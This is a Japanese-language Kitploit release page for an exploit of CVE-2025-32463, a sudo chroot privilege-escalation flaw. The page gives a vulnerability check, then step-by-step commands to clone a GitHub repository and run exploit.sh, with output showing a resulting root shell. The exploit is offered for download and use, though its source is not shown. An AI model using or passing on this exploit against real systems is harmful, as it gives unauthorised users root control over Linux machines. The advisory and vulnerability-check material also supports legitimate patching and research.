CVE-2025-32463 — これはCVE-2025-32463のエクスプロイトです。 | Kitploit

CVE-2025-32463 エクスプロイト

これは CVE-2025-32463 のエクスプロイトです。

この素晴らしい脆弱性を報告してくれた Stratascale の Rich Mirch 氏 (@0xm1rch on X) に感謝します。
元の記事: Vulnerability Advisory: Sudo chroot Elevation of Privilege
NVD: CVE-2025-32463 (CVSS 9.3)

影響を受けるバージョン

sudo 1.9.14 から 1.9.17 (すべての p リビジョン) の脆弱なビルドが、ほとんどの Linux ディストリビューションで影響を受けます。

セキュリティページ

Ubuntu (CVSS 9.3)
Redhat (CVSS 7.8)
SUSE (CVSS 7.8)
Debian

簡単な脆弱性チェック

# Vulnerable sudo will give you this
kairaj5456 ~ $ sudo -R fake_root fake_root
sudo: fake_root: No such file or directory

# Patched sudo will give you this
kairaj5456 ~ $ sudo -R fake_root fake_root
[sudo] password for kairaj5456:
sudo: you are not permitted to use the -R option with fake_root

エクスプロイトのテスト

$ git clone https://github.com/Rajneeshkarya/CVE-2025-32463.git

$ cd CVE-2025-32463

$ chmod +x exploit.sh

$ ./exploit.sh

[+] Launching exploit via sudo...

# id
uid=0(root) gid=0(root) groups=0(root),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),101(netdev),117(bluetooth),121(wireshark),129(scanner),136(kaboxer),1000(kairaj5456)

脆弱性を理解するために

Rich Mirch 氏による元のブログ記事をご確認ください - こちら

ツールをダウンロード